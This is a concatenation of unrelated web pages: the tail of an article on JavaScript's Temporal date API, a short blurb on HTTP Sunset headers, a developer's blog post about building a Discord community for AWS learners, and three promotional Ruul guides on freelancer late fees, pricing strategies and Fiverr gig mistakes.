before the final implementations land. Soon, JavaScript will have sensible, modern date handling, and we’ll finally be able to cram Date way in the back of the junk drawer with the rubber bands, mismatched jar lids, mystery keys, and probably-half-empty AA batteries — still present, still an inexorable part of the web platform, but no longer our first, last, and only way of handling dates. And we only had to wait— well, hold on, let me just crunch the numbers real quick: Try it out const today = Temporal.Now.plainDateISO(); const jsShipped = Temporal.PlainDate.from( "1995-12-04" ); const sinceDate = today.since( jsShipped, { largestUnit: 'year' }); console.log( `${ sinceDate.years } years, ${ sinceDate.months } months, and ${ sinceDate.days } days.` ); Run Sure, the best time to replace Date would’ve been back in 1995, but hey: the second best time is Temporal.Now , right?

This guide covers everything you need to know about using late fees to protect your business and income. Umut Güncan 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Whether you’ve been at this business for a while or just starting, the fact is freelancers are going to encounter clients who don’t pay them on time. Your clients are going to be your main source of income, so you should do your best to ensure that they pay you on time. That’s where late fees come in.By placing late fees in the contracts between you and your client, these fees can motivate folks to pay you on time to avoid the extra costs they’ll face. Getting paid promptly and regularly is your biggest concern if you’re a freelancer, and late fees are an important tool in your arsenal to ensure that. This is the definitive guide to how you as a freelancer should use late fees to make sure you get paid. What is a late payment? A late payment is exactly what it sounds like. It’s when a client does not pay within the agreed-upon period . Freelancer payment options are complicated because you have to be the one to pursue these late charges. Do you send friendly little reminders hoping that you don’t upset or alienate a customer, or do you hound them down for the money they owe you? It’s a complicated issue that we’ll dissect here. The terminology explained When you set up a contract with your client either for a service or a product, there’s an agreed-upon payment term that all parties agree to. These payment terms set the timetable that you expect to be paid, so if the agreed payment term is net30, then you expect to receive your payment within 30 days of sending your invoice.There are several types of payment terms that depend on the circumstances of your deal, but what’s universal is that your client is to pay within that timetable. Once the client misses this payment table, then you’ll find yourself in the position of being a freelancer asking for payment. Late payments hurt your solo business While facing late payments is an unfortunate part of the freelancer business, it doesn’t mean that it is easy to deal with. Every year, thousands of small businesses go bankrupt in part because they simply don’t receive their payments. They cause you unnecessary financial burdens, administrative headaches, and put your cash flow at risk. To put it simply, late payments for freelancers restrict their ability to run their businesses. Why freelancers should issue late fees There are ways to try and coax clients into paying early. Some freelancers demand down payments upfront before they begin their projects. Some even offer discounts to clients who pay early to encourage payments.You should use late fees to convince your clients to pay you on time. If the potential discount was the carrot, then late fees are the stick. Late fees work by adding growing charges on top of the total that you are already owed, meaning the client has to pay more. So if your client signed a contract that guarantees a 5% late fee interest, then every time your client misses a payment 5% of the bill is added to the total.You should issue late fees because: You need the money and deserve to be paid for your work It sets an establishment for this client that it’s not okay to pay you late or whenever they want It means that your clients will be more likely to pay your charges or have to face more charges. Remember, you did the work, so you should be paid. How to set late fees as a freelancer The way to set late fees is to put them into your service contract . When negotiating your contract with your client, both parties have to agree to payment terms that work best for them. A typical request for freelancers is 30 days after they send the invoice, so the client has 30 days to pay after they have received the invoice.You can then establish a late fees clause , meaning your client agrees that there will be extra payments due if they missed the deadline. Should they miss the payment, they incur more charges. So, once they miss this payment period, you send another invoice that will have the new total that is due with the late fee included. Why do freelancers need to learn how to issue late fees? Freelancers need to learn about late fees because it can save their businesses. Ultimately, you depend on your clients paying you to keep your business afloat, and not receiving those payments are detrimental to your business. Late fees are a way to help ensure you get paid for your work and keep your operations going. Learn about the laws surrounding late payments It’s important to educate yourself on the laws surrounding late payments because they can inform you on how exactly you can go about receiving the payment. It is important to keep in mind that these laws vary from country to country or even state to state, so business practices aren’t acceptable in another. This is especially important for considering international business deals.For example, the EU passed a new legislation known as the Late Payment Directive in 2011. Some of its provisions include terms like a guaranteed cost in the form of compensation, guaranteed deadlines when private and public entities must pay before incurring late fees, and even the promise of statutory interest. This is just one example, so be sure to learn laws concerning late fees wherever you do business. Figure out the services that can help you collect late payments One of the tools that you can use is a service that serves as an intermediary between you and your clients. These service providers can handle these negotiations and payment issues with impartiality. Plus, they free you up from the hassle of having to deal with these issues so you can focus on running your business. Ruul offers several features that can make your life as a solopreneur easier. With Ruul, you can create agreements that suit your business needs, issue invoices to your clients all over the world, and give your clients a number of secure options to pay you in whatever currency you prefer. Using Ruul is guaranteed to make the transactions between you and your clients simple and easy to manage. Learn tips for issuing late fees There aren’t many hard-fast rules when it comes to issuing late fees but we can offer some tips that give you a rough idea of what you can do. Have a late fee policy Having a late fee policy is a good practice to have so that you can avoid haphazardly cobbling one together after the fact. Make sure that the proposed late fee is both legal and communicated to your clients. How much can you charge for late fees? How much a freelancer can charge can vary depending on the laws of the area and what you agreed to in your service contract . A good idea to have though is that it should be reasonable, so $100 on a $1,500 total is okay, but charging $100 on a $150 deal probably won’t be acceptable. Inform your clients that there are late fees You should make sure that your clients are aware that there are late fees attached to the contract by clearly communicating that fact during the negotiations. Also as the due date arrives, be sure to communicate this to your client so that there can be no mistakes. How long to wait before enforcing the late fees One of the hardest questions for a freelancer is how long to wait for payment. In some cases, it could be as simple as sending an invoice with a late fee as soon as you can, but you should consider the situation.If you have a good relationship with a client who pays on time regularly, then perhaps you might give them more leeway than someone who doesn’t. Talk with your clients and see why they haven’t made the payment and see if you two can come to an arrangement. Otherwise, you can start enforcing your late fees as soon as either your contract or the law allows. How to deal with late payments as a freelancer? Dealing with late payments is one of the most uncomfortable aspects of being a freelancer. It’s hard enough working on your own, let alone having to be your own legal team and trying to chase people down for payments. But, there are ways that you can manage these issues and get paid. Why do clients delay payments? Not every client that misses or delays a payment is an evil mastermind. While some customers would look to take advantage of you, many are just regular people that have unexpected expenses that come up that prevent them from paying. Or, they may need more time to gather the funds necessary. You should speak with your clients to see what’s going on before deciding to use late fees. Set a time limit for payment When negotiating your contract, make sure you set payment terms that work in both you and your client’s favor. The contract should satisfy both parties, and protect your interests. Setting reasonable payment terms is among these interests. Unless you set a due date for your payments, you’ll have a harder time navigating when you can begin assigning late fees on your invoices. Make bulletproof freelance contracts Making your service contracts concrete is the way to ensure that you are paid on time and communicate your expectations to your client. Here is where you can make sure that you explicitly state your expectations to be paid by your clients and lay down the terms of your possible late fees. Just make sure that your contract is complicit with local laws before signing it. What to do if your client doesn't pay on time? So, you have set clear and concise payment terms, established to your client that there are late fees, and given your client ample warning as the due date approaches. Still, your client has not paid, so what should you do?First, you should reach out to your client to see if your client intends to pay but issues are preventing them from doing so. If something cannot be arranged, then your next step is to begin charging them the late fees that were stipulated within your contract. Make sure you inform your client that you are charging late fees and will continue to do so until you are paid. What to do if your client still doesn't pay on time and you've already issued an invoice? As a freelancer, you can impose late fees on a due invoice once the client has missed your payment terms. If they still choose not to pay you, another option that you can pursue is of course legal action. This is why it’s important to make sure the contract between you and your client is compliant with the law.Having a compliant and legally binding contract will give you a leg up in any sort of legal action. That’s why it pays to be well organized and document all your transactions. Just make sure you have the time and resources to go to court if you decide on this option.

Report Abuse Ali-Funk Posted on Jan 12 Why "Ownership" is the Best Certification: Building Infrastructure for an AWS Legend # aws # community # cloud # career After 8 years in IT Operations, I made a conscious decision: I’m not just going to "learn" Cloud Security. I’m going to live it. I am currently in the middle of a full career pivot. My days are spent on foundational IT retraining, my nights are dedicated to AWS certifications and Cloud Security. But certificates are just paper if you don't apply them. I promised myself that I wouldn't use this time to just "park" and wait for a degree. I am building a "launchpad". The Project: Building a Home for Cloud Architects Recently, I had the opportunity to support Marko Sluga a true authority in the AWS world and someone I’ve looked up to for learning cloud architecture. His community needed a new home, a place to discuss complex AWS topics, share knowledge, and grow together. I volunteered to design and build the infrastructure for his new Discord Community. This wasn't just about creating channels. It was about: Designing a logical structure for discussions Implementing security best practices for community management Creating a space where knowledge can scale When It clicked for me: Validation over Certification We often obsess over passing exams (and I am grinding for them too!). But in the real world, soft skills and mindset often beat raw data retention. After the launch, Marko gave me feedback that hit harder than any "Exam Passed" badge ever could: "Ali Funk being willing to take ownership like you did is a rare trait and I am grateful for your help. You deserve every ounce of recognition!" Marko Sluga He didn't thank me for "configuring a bot." He thanked me for taking ownership. Why I aim to be an AWS Community Builder This experience clarified my path. I realized that my biggest strength isn't just configuring systems It´s enabling others. I love bridging the gap between "Old School Ops" reliability and "Cloud Native" agility I love building infrastructures where communities can thrive I love the "hybrid war" of learning and doing simultaneously This is why I have set my sights on becoming an AWS Community Builder. I want to be part of the global group of people who don't just consume cloud technology, but who actively shape how it is understood and used. I want to share my journey from the Data Center floor to the cloud architecture board, helping others who are making the same pivot. The Takeaway If you are early in your cloud journey, or pivoting like me: Don't wait for permission. Don't wait until you have 5 certs to build something. Find a problem. Fix it. Take ownership. That’s how you build a "launchpad" If you’re early in your cloud journey: build something real, even if it’s small. Like I did with a Discord Server. Run it. Break it. Fix it. Document it. That experience will stay with you longer than any exam score ." Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use.

We talk about the HTTP Sunset Header and the potential HTTP Deprecation Header and how those can make the process of knowing when APIs are being deprecated a lot smoother.

Here are the five best pricing strategies to grow your business! Eran Karaso 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Finding the right price for your products is one of the hardest aspects of starting your own freelancing business. Price too high; you risk losing business; Price too low; you might find it difficult to pay your debts. Most importantly, you have to identify the sweet spot that best suits your skills, expertise, and value to clients. These five basic pricing strategies can help you to navigate the complexities of freelance charge scheduling. Here, we will see why pricing strategy is important and even how to price your services as a freelancer . 1. Hourly Rates If you’re curious how to price freelance work , the most basic type is hourly rates. Among the easiest and most often used techniques available to independent contractors is hourly pricing. You charge them a set fee under this method for every hour you work. When the size of the project is unclear and the necessary degree of effort may vary, hourly pricing is really helpful. It also guarantees that you are paid enough for any additional time you spend on unanticipated repairs or chores. Still, hourly prices might bring some issues. Often difficult to forecast, project length might cause either overestimating or underestimating of the eventual cost. Clients may also want an open-ended commitment instead of a defined upfront cost. Keeping precise notes of your time and often informing your customer on the status of the task may help to allay some of your worries. Pricing freelance work like this is easiest for many. 2. Project-based Pricing Independent of project length, project-based pricing defines the total cost of the project. This method works well when the scope of the work is exactly defined and you can accurately predict the time and resources required. Project-based pricing may appeal to clients as it allows them to clearly understand the total upfront cost, therefore simplifying budgeting. For independent contractors, project-based pricing may be more profitable if you can accomplish the work quickly than hourly pricing. You must, however, explicitly state expectations and indicate the scope of the project in your contract to avoid scope creep—where the client requests extra work outside of the original agreement. Any change in the scope should be discussed in connection with changing the fee. 3. Value-based Discount Pricing How to price your services as a freelancer ? Value based might be the answer. Value-based pricing stresses to the client the value your service provides above the time or effort needed to do it. This method bases your rates on the impact your efforts would have on the client's business. For example, if you are thus providing a fantastic value and designing a website that would significantly increase the online sales of a company would help you charge more. Value-based pricing allows you to charge premium prices for highly valuable services, therefore optimizing huge profits. However, it also relies on a complete grasp of the client's business and goals as well as the confidence to support your charges based on the output you can provide. This strategy is very effective for seasoned independent contractors who can demonstrate past performance in producing results. 4. Retention Agreements Retainer agreements enable clients to pay a fixed monthly fee for a certain amount of hours or tasks per month. This method is ideal when the client needs ongoing, consistent services—that is, while working on content creation, social media management, or IT assistance. Retainer agreements provide freelancers a regular income stream, therefore reducing the uncertainty related to project-based work. Retainers also help you to build long-term relationships with clients, therefore improving employment stability and offering possibilities for you to get naturally integrated into the client's business. Establishing a retainer agreement, clearly describes the quantity of work required, the number of hours covered, and the circumstances for any additional work beyond the planned hours. 5. Tiered Pricing Tiered pricing allows customers different degrees of service within different price points. With growing degrees of service and accompanying pricing, you may have a basic package, a standard package, a premium package. This strategy allows you to offer a larger range of clients from those with limited budgets to those eager to pay more for additional goods or services. Tiered pricing works particularly well for freelancers doing web design, marketing, or consulting—where clients may have varying needs and budgets. Customers who admire your work also give you the option to upsell them to higher tiers. Using tiered pricing requires clearly defining what each tier consists of and ensuring every bundle provides value in respect to its price. Selecting the Correct Approach Your industry, the kind of projects you work on, your degree of experience, and your financial goals all influence the best price strategy for you. Many freelancers find success by combining many strategies, including giving one-off work project-based billing and maintaining retainer agreements with long-term clients. If you want to learn how to write invoice for freelance work or the best invoicing practices , they can help you immensely in the freelance market. Whichever your method, you ought to constantly evaluate and adjust your rates to fit your growing understanding and capability. Be sure you charge what you are worth as your pricing strategy is a big factor influencing the performance of your business as a freelancer. By carefully evaluating your options and choosing the one that best matches your company and customer base, you can create acceptable prices that are both profitable and fair.

Improve your chances on Fiverr by avoiding these common bid mistakes. Read on to learn how to improve your work! Eran Karaso 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Creating a convincing, clear and attractive offer is the most important thing to acquire the client. Freelancers need to be extremely careful while creating the offer since this will be the first contact and impression with their clients. There are several mistakes that freelancers make while creating offers. In this post we will review those and give tips on how to avoid them. 1. Non Detailed Gig Description One of the most critical mistakes is failing to provide a clear and detailed gig description. Your description needs to be detailed, clear, professional. It should explain why the client should choose you with your previous experience, your skills and maybe testimonial samples. 2. Ignoring Keywords and SEO You should always use relevant keywords in your gigs. Fiverr’s search algorithm relies on keywords to match buyers with appropriate gigs. Try to use keywords that potential clients are likely to type when searching for your services. 3. Overpromising It is never good to over promise while creating an offer. Overpromising can lead to unhappy clients and negative reviews. It’s important to set realistic expectations and be honest about your capabilities. If you promise more than you can deliver, you risk damaging your reputation and potentially facing disputes with clients. Focus on what you can genuinely offer and provide high-quality work within those parameters. 4. Low Quality Visuals Visuals are so important in your profile and offers. You should always add high quality images, videos, testimonials while creating your offer. Poorly designed or visuals can make your gig appear less credible and may turn potential clients away. Invest time in creating or sourcing professional images and videos that effectively showcase your skills and services. 5. Setting Prices Without Market Research Setting a price is very important to value your services. While setting price you need to understand the market metrics, your services, skills, experience and the cost of the projects. Underbidding is as disadvantageous as overbidding. So finding the right price plays an important role while creating an offer. Ruul offers freelance hourly price calculator to find the most accurate and suitable price for your services based on your skills, experience level and your costs. You can benefit from Ruul to set your pricing to use in other platforms where you make offers to clients. 6. Weak & Unclear Titles The title of your gig is the first impression between you and your client, so this is critical. You need to be clear, strong, professional and honest. Your offer title should explain the rest in a summary with a clear message. 7. Importance of a Professional Profile Your Fiverr profile must be credible, professional and completed. It is extremely important to add your bio, your photo and your experience with previous projects. Also testimonials and reviews play an important role to maintain reputation. 8. Not Offering Revisions Not offering revisions may look like a risk to your client. Clients mostly want to be able to ask revisions if they need to, giving them flexibility of revisions will make your offer more credible. 9. Ignoring the Competition Failing to analyze and understand your competition can result in missed opportunities to differentiate your offer. Take the time to review other freelancers’ gigs in your niche and identify what they are doing well and where you can stand out. Look at their pricing, descriptions, and customer reviews to gain insights into what clients are looking for. Use this information to refine your offer and highlight unique aspects of your services that set you apart. 10. Neglecting to Update Your Gig Regularly Leaving your gig unchanged for long periods can lead to stagnation and reduced visibility. Regularly updating your gig to reflect any new skills, services, or changes in market demand can keep it fresh and relevant. Consider updating your gig’s description, visuals, or pricing periodically to ensure it accurately represents your current offerings and aligns with market trends. 11. Failing to Communicate Effectively The most important part of your process is to communicate effectively with your client. Non Effective, slow and unattractive communication causes the loss of clients. Failing to respond on time can also cause lost opportunities. 12. Not Leveraging Fiverr’s Tools and Features Fiverr offers various tools and features to enhance your gig offers and improve your visibility. Not taking advantage of these tools can mean missing out on opportunities. Utilize Fiverr’s promotional options, such as sponsored gigs or gig extras, to increase your exposure from Fiverr jobs . Explore the platform’s features to optimize your gig and make the most of the resources available to you. Why Ruul Would Help You Boost Your Freelancing?
